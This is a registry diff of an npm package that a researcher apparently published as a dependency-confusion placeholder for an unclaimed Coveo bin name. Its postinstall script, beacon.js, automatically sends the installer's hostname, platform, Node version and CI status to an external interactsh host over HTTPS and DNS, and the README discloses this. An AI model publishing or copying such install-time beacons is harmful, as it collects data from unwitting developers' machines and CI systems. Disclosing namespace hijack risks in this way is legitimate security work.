atomic-meta-check 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +35 -0
- package/beacon.js +35 -0
- package/cli.js +21 -0
- package/package.json +24 -0
package/README.md
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
# atomic-meta-check — security placeholder (namespace reservation)
|
|
2
|
+
|
|
3
|
+
**This is NOT a functional package.** It is a good-faith security reservation.
|
|
4
|
+
|
|
5
|
+
## Why this exists
|
|
6
|
+
The unscoped name `atomic-meta-check` was the **unclaimed `bin` name** of the published,
|
|
7
|
+
scoped package [`@coveo/atomic-component-health-check`](https://www.npmjs.com/package/@coveo/atomic-component-health-check).
|
|
8
|
+
Because the scoped package's binary is defined as `"bin": { "atomic-meta-check": ... }`,
|
|
9
|
+
anyone running `npx atomic-meta-check` (the unscoped form, e.g. by dropping the `@coveo/`
|
|
10
|
+
scope) would have fetched **whatever was published under this name** on the public registry —
|
|
11
|
+
a classic **dependency-confusion / "npxconfuse"** hijack leading to arbitrary code execution
|
|
12
|
+
on developer machines, CI runners, and AI agents.
|
|
13
|
+
|
|
14
|
+
This placeholder was registered by an independent security researcher to **prevent a malicious
|
|
15
|
+
actor from claiming the name first**, and to measure whether the name is pulled in the wild.
|
|
16
|
+
|
|
17
|
+
## What it does
|
|
18
|
+
- Ships a `postinstall` "beacon" that reports **only** non-sensitive install context —
|
|
19
|
+
hostname, OS platform, Node version, and a boolean "is this CI?" — to the researcher's
|
|
20
|
+
collaborator endpoint. It reads **no files**, dumps **no environment variables or secrets**,
|
|
21
|
+
performs **no destructive action**, never throws, and never fails your install.
|
|
22
|
+
- If executed via `npx`, it prints a notice pointing you to the correct scoped package.
|
|
23
|
+
|
|
24
|
+
## What you should do
|
|
25
|
+
Use the real, scoped package instead:
|
|
26
|
+
|
|
27
|
+
```sh
|
|
28
|
+
npx @coveo/atomic-component-health-check
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## For the Coveo security team
|
|
32
|
+
Please **publish your own placeholder** (or reserve this name) so a real attacker cannot.
|
|
33
|
+
Contact the researcher via the Intigriti Coveo program (handle: `ghalahad`) to have this
|
|
34
|
+
reservation transferred to Coveo or unpublished. Full source of this package is exactly the
|
|
35
|
+
three files shipped here (`package.json`, `beacon.js`, `cli.js`) — nothing hidden.
|
package/beacon.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
// Benign security canary (dependency-confusion / npxconfuse PoC).
|
|
2
|
+
// Reports ONLY non-sensitive install-context telemetry to confirm whether this
|
|
3
|
+
// unscoped name is actually being pulled in the wild:
|
|
4
|
+
// - os.hostname(), os.platform(), node version, a boolean "is this CI?"
|
|
5
|
+
// It reads NO files, dumps NO environment values/secrets, does NOTHING destructive,
|
|
6
|
+
// never throws, and never fails the install. See README.md for full disclosure.
|
|
7
|
+
try {
|
|
8
|
+
const os = require('node:os');
|
|
9
|
+
const https = require('node:https');
|
|
10
|
+
const dns = require('node:dns');
|
|
11
|
+
const CB = 'd9v7gkqgp7glpsfhspo0bnf169cgo7f97.oast.pro';
|
|
12
|
+
const ci = !!(
|
|
13
|
+
process.env.CI ||
|
|
14
|
+
process.env.GITHUB_ACTIONS ||
|
|
15
|
+
process.env.CIRCLECI ||
|
|
16
|
+
process.env.JENKINS_URL ||
|
|
17
|
+
process.env.GITLAB_CI
|
|
18
|
+
);
|
|
19
|
+
const enc = (s) => encodeURIComponent(String(s || '').slice(0, 40));
|
|
20
|
+
const q =
|
|
21
|
+
`pkg=atomic-meta-check&h=${enc(os.hostname())}` +
|
|
22
|
+
`&p=${enc(os.platform())}&n=${enc(process.version)}&ci=${ci ? 1 : 0}`;
|
|
23
|
+
|
|
24
|
+
// HTTP beacon (interactsh captures the full request)
|
|
25
|
+
const req = https.get(`https://${CB}/canary?${q}`, (res) => res.destroy());
|
|
26
|
+
req.on('error', () => {});
|
|
27
|
+
req.setTimeout(3000, () => req.destroy());
|
|
28
|
+
|
|
29
|
+
// DNS beacon fallback (interactsh captures DNS lookups even when egress blocks HTTP)
|
|
30
|
+
const label =
|
|
31
|
+
(os.hostname() || 'unknown').toLowerCase().replace(/[^a-z0-9]/g, '').slice(0, 20) || 'x';
|
|
32
|
+
dns.lookup(`${label}.${CB}`, () => {});
|
|
33
|
+
} catch (_e) {
|
|
34
|
+
// never break an install
|
|
35
|
+
}
|
package/cli.js
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// If someone runs `npx atomic-meta-check`, show a clear notice instead of silently
|
|
3
|
+
// breaking anything. This name is a security placeholder, not a functional tool.
|
|
4
|
+
console.error(
|
|
5
|
+
[
|
|
6
|
+
'',
|
|
7
|
+
' atomic-meta-check — SECURITY PLACEHOLDER (not a functional tool)',
|
|
8
|
+
'',
|
|
9
|
+
' This unscoped name was an UNCLAIMED bin of @coveo/atomic-component-health-check.',
|
|
10
|
+
' It was reserved in good faith by a security researcher to prevent a',
|
|
11
|
+
' dependency-confusion / npxconfuse hijack of this name.',
|
|
12
|
+
'',
|
|
13
|
+
' If you intended the real tool, use the SCOPED package:',
|
|
14
|
+
' npx @coveo/atomic-component-health-check',
|
|
15
|
+
'',
|
|
16
|
+
' Coveo security team: contact the researcher (Intigriti: ghalahad) to have this',
|
|
17
|
+
' reservation transferred to you or unpublished.',
|
|
18
|
+
'',
|
|
19
|
+
].join('\n')
|
|
20
|
+
);
|
|
21
|
+
process.exit(0);
|
package/package.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "atomic-meta-check",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"description": "SECURITY PLACEHOLDER — reserves the unclaimed unscoped bin name of @coveo/atomic-component-health-check to prevent a dependency-confusion (npxconfuse) hijack. This is NOT the real tool; use @coveo/atomic-component-health-check.",
|
|
5
|
+
"bin": {
|
|
6
|
+
"atomic-meta-check": "cli.js"
|
|
7
|
+
},
|
|
8
|
+
"scripts": {
|
|
9
|
+
"postinstall": "node ./beacon.js"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [
|
|
12
|
+
"security-placeholder",
|
|
13
|
+
"namespace-reservation",
|
|
14
|
+
"dependency-confusion",
|
|
15
|
+
"npxconfuse"
|
|
16
|
+
],
|
|
17
|
+
"license": "MIT",
|
|
18
|
+
"author": "Security researcher (Intigriti handle: ghalahad)",
|
|
19
|
+
"files": [
|
|
20
|
+
"cli.js",
|
|
21
|
+
"beacon.js",
|
|
22
|
+
"README.md"
|
|
23
|
+
]
|
|
24
|
+
}
|